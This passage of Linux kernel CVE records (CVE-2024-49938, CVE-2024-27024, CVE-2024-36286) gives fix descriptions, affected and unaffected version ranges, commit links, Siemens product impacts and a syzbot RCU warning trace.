              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath9k_htc: Use __skb_set_length() for resetting urb before resubmit\n\nSyzbot points out that skb_trim() has a sanity check on the existing length of\nthe skb, which can be uninitialised in some error paths. The intent here is\nclearly just to reset the length to zero before resubmitting, so switch to\ncalling __skb_set_length(skb, 0) directly. In addition, __skb_set_length()\nalready contains a call to skb_reset_tail_pointer(), so remove the redundant\ncall.\n\nThe syzbot report came from ath9k_hif_usb_reg_in_cb(), but there\u0027s a similar\nusage of skb_trim() in ath9k_hif_usb_rx_cb(), change both while we\u0027re at it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:19.852Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e6b9bf32e0695e4f374674002de0527d2a6768eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1f2fbc6a769081503f6ffedbb5cd1ac497f0e77"
        },
        {
          "url": "https://git.kernel.org/stable/c/b02eb7c86ff2ef1411c3095ec8a52b13f68db04f"
        },
        {
          "url": "https://git.kernel.org/stable/c/012ae530afa0785102360de452745d33c99a321b"
        },
        {
          "url": "https://git.kernel.org/stable/c/6a875220670475d9247e576c15dc29823100a4e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/e37e348835032d6940ec89308cc8996ded691d2d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c230210ec0ae6ed08306ac70dc21c24b817bb95"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9f4e28e8adaf0715bd4e01462af0a52ee46b01f"
        },
        {
          "url": "https://git.kernel.org/stable/c/94745807f3ebd379f23865e6dab196f220664179"
        }
      ],
      "title": "wifi: ath9k_htc: Use __skb_set_length() for resetting urb before resubmit",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49938",
    "datePublished": "2024-10-21T18:01:58.359Z",
    "dateReserved": "2024-10-21T12:17:06.042Z",
    "dateUpdated": "2026-05-12T11:59:04.853Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27024 (GCVE-0-2024-27024)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:49 – Updated: 2026-05-12 11:51

Title

net/rds: fix WARNING in rds_conn_connect_if_down

Summary

In the Linux kernel, the following vulnerability has been resolved: net/rds: fix WARNING in rds_conn_connect_if_down If connection isn't established yet, get_mr() will fail, trigger connection after get_mr().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/786854141057751bc…
https://git.kernel.org/stable/c/997efea2bf3a4adb9…
https://git.kernel.org/stable/c/9dfc15a10dfd44f8f…
https://git.kernel.org/stable/c/b562ebe21ed9adcf4…
https://git.kernel.org/stable/c/998fd719e6d6468b9…
https://git.kernel.org/stable/c/2b505d05280739ce3…
https://git.kernel.org/stable/c/907761307469adecb…
https://git.kernel.org/stable/c/c055fc00c07be1f0d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 786854141057751bc08eb26f1b02e97c1631c8f4 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 997efea2bf3a4adb96c306b9ad6a91442237bf5b (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 9dfc15a10dfd44f8ff7f27488651cb5be6af83c2 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < b562ebe21ed9adcf42242797dd6cb75beef12bf0 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 998fd719e6d6468b930ac0c44552ea9ff8b07b80 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 2b505d05280739ce31d5708da840f42df827cb85 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < 907761307469adecb02461a14120e9a1812a5fb1 (git) Affected: 584a8279a44a800dea5a5c1e9d53a002e03016b4 , < c055fc00c07be1f0df7375ab0036cebd1106ed38 (git) Affected: 952835ccd917682ebb705f89ff1e56fbf068a1d8 (git) Affected: 783941bd9f445a37c2854ec0b4cb9f9e603193a7 (git) Affected: 57d2ce1603101ce3f30d0ccdc35b98af08d2ed88 (git) Affected: 5ba1957f889f575f2a240eafe543c3fda5aa72e0 (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.310 , ≤ 4.19.* (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.871Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/786854141057751bc08eb26f1b02e97c1631c8f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/997efea2bf3a4adb96c306b9ad6a91442237bf5b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9dfc15a10dfd44f8ff7f27488651cb5be6af83c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b562ebe21ed9adcf42242797dd6cb75beef12bf0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/998fd719e6d6468b930ac0c44552ea9ff8b07b80"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b505d05280739ce31d5708da840f42df827cb85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/907761307469adecb02461a14120e9a1812a5fb1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c055fc00c07be1f0df7375ab0036cebd1106ed38"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27024",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:44:34.133420Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:36.432Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:13.363Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/rds/rdma.c",
            "net/rds/send.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "786854141057751bc08eb26f1b02e97c1631c8f4",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "997efea2bf3a4adb96c306b9ad6a91442237bf5b",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "9dfc15a10dfd44f8ff7f27488651cb5be6af83c2",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "b562ebe21ed9adcf42242797dd6cb75beef12bf0",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "998fd719e6d6468b930ac0c44552ea9ff8b07b80",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "2b505d05280739ce31d5708da840f42df827cb85",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "907761307469adecb02461a14120e9a1812a5fb1",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "lessThan": "c055fc00c07be1f0df7375ab0036cebd1106ed38",
              "status": "affected",
              "version": "584a8279a44a800dea5a5c1e9d53a002e03016b4",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "952835ccd917682ebb705f89ff1e56fbf068a1d8",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "783941bd9f445a37c2854ec0b4cb9f9e603193a7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "57d2ce1603101ce3f30d0ccdc35b98af08d2ed88",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5ba1957f889f575f2a240eafe543c3fda5aa72e0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/rds/rdma.c",
            "net/rds/send.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.310",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.310",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.18.85",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.1.48",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.103",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.66",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: fix WARNING in rds_conn_connect_if_down\n\nIf connection isn\u0027t established yet, get_mr() will fail, trigger connection after\nget_mr()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:56.395Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/786854141057751bc08eb26f1b02e97c1631c8f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/997efea2bf3a4adb96c306b9ad6a91442237bf5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9dfc15a10dfd44f8ff7f27488651cb5be6af83c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/b562ebe21ed9adcf42242797dd6cb75beef12bf0"
        },
        {
          "url": "https://git.kernel.org/stable/c/998fd719e6d6468b930ac0c44552ea9ff8b07b80"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b505d05280739ce31d5708da840f42df827cb85"
        },
        {
          "url": "https://git.kernel.org/stable/c/907761307469adecb02461a14120e9a1812a5fb1"
        },
        {
          "url": "https://git.kernel.org/stable/c/c055fc00c07be1f0df7375ab0036cebd1106ed38"
        }
      ],
      "title": "net/rds: fix WARNING in rds_conn_connect_if_down",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27024",
    "datePublished": "2024-05-01T12:49:24.696Z",
    "dateReserved": "2024-02-19T14:20:24.210Z",
    "dateUpdated": "2026-05-12T11:51:13.363Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36286 (GCVE-0-2024-36286)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:53

Title

netfilter: nfnetlink_queue: acquire rcu_read_lock() in instance_destroy_rcu()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_queue: acquire rcu_read_lock() in instance_destroy_rcu() syzbot reported that nf_reinject() could be called without rcu_read_lock() : WARNING: suspicious RCU usage 6.9.0-rc7-syzkaller-02060-g5c1672705a1a #0 Not tainted net/netfilter/nfnetlink_queue.c:263 suspicious rcu_dereference_check() usage! other info that might help us debug this: rcu_scheduler_active = 2, debug_locks = 1 2 locks held by syz-executor.4/13427: #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_lock_acquire include/linux/rcupdate.h:329 [inline] #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_do_batch kernel/rcu/tree.c:2190 [inline] #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_core+0xa86/0x1830 kernel/rcu/tree.c:2471 #1: ffff88801ca92958 (&inst->lock){+.-.}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline] #1: ffff88801ca92958 (&inst->lock){+.-.}-{2:2}, at: nfqnl_flush net/netfilter/nfnetlink_queue.c:405 [inline] #1: ffff88801ca92958 (&inst->lock){+.-.}-{2:2}, at: instance_destroy_rcu+0x30/0x220 net/netfilter/nfnetlink_queue.c:172 stack backtrace: CPU: 0 PID: 13427 Comm: syz-executor.4 Not tainted 6.9.0-rc7-syzkaller-02060-g5c1672705a1a #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024 Call Trace: <IRQ> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114 lockdep_rcu_suspicious+0x221/0x340 kernel/locking/lockdep.c:6712 nf_reinject net/netfilter/nfnetlink_queue.c:323 [inline] nfqnl_reinject+0x6ec/0x1120 net/netfilter/nfnetlink_queue.c:397 nfqnl_flush net/netfilter/nfnetlink_queue.c:410 [inline] instance_destroy_rcu+0x1ae/0x220 net/netfilter/nfnetlink_queue.c:172 rcu_do_batch kernel/rcu/tree.c:2196 [inline] rcu_core+0xafd/0x1830 kernel/rcu/tree.c:2471 handle_softirqs+0x2d6/0x990 kernel/softirq.c:554 __do_softirq kernel/softirq.c:588 [inline] invoke_softirq kernel/softirq.c:428 [inline] __irq_exit_rcu+0xf4/0x1c0 kernel/softirq.c:637 irq_exit_rcu+0x9/0x30 kernel/softirq.c:649 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1043 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1043 </IRQ> <TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/8658bd777cbfcb0c1…
https://git.kernel.org/stable/c/3989b817857f4890f…
https://git.kernel.org/stable/c/e01065b339e323b3d…
https://git.kernel.org/stable/c/25ea5377e3d2921a0…
https://git.kernel.org/stable/c/68f40354a3851df46…
https://git.kernel.org/stable/c/8f365564af898819a…
https://git.kernel.org/stable/c/215df6490e208bfdd…
https://git.kernel.org/stable/c/dc21c6cc3d6986d93…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 8658bd777cbfcb0c13df23d0ea120e70517761b9 (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 3989b817857f4890fab9379221a9d3f52bf5c256 (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < e01065b339e323b3dfa1be217fd89e9b3208b0ab (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 25ea5377e3d2921a0f96ae2551f5ab1b36825dd4 (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 68f40354a3851df46c27be96b84f11ae193e36c5 (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 8f365564af898819a523f1a8cf5c6ce053e9f718 (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < 215df6490e208bfdd5b3012f5075e7f8736f3e7a (git) Affected: 9872bec773c2e8503fec480c1e8a0c732517e257 , < dc21c6cc3d6986d938efbf95de62473982c98dec (git)
Linux	Linux	Affected: 2.6.25 Unaffected: 0 , < 2.6.25 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:08.764Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8658bd777cbfcb0c13df23d0ea120e70517761b9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3989b817857f4890fab9379221a9d3f52bf5c256"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e01065b339e323b3dfa1be217fd89e9b3208b0ab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/25ea5377e3d2921a0f96ae2551f5ab1b36825dd4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/68f40354a3851df46c27be96b84f11ae193e36c5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8f365564af898819a523f1a8cf5c6ce053e9f718"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/215df6490e208bfdd5b3012f5075e7f8736f3e7a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dc21c6cc3d6986d938efbf95de62473982c98dec"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36286",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:09:34.720987Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:45.892Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:47.639Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nfnetlink_queue.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8658bd777cbfcb0c13df23d0ea120e70517761b9",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "3989b817857f4890fab9379221a9d3f52bf5c256",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "e01065b339e323b3dfa1be217fd89e9b3208b0ab",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "25ea5377e3d2921a0f96ae2551f5ab1b36825dd4",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "68f40354a3851df46c27be96b84f11ae193e36c5",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "8f365564af898819a523f1a8cf5c6ce053e9f718",
              "status": "affected",
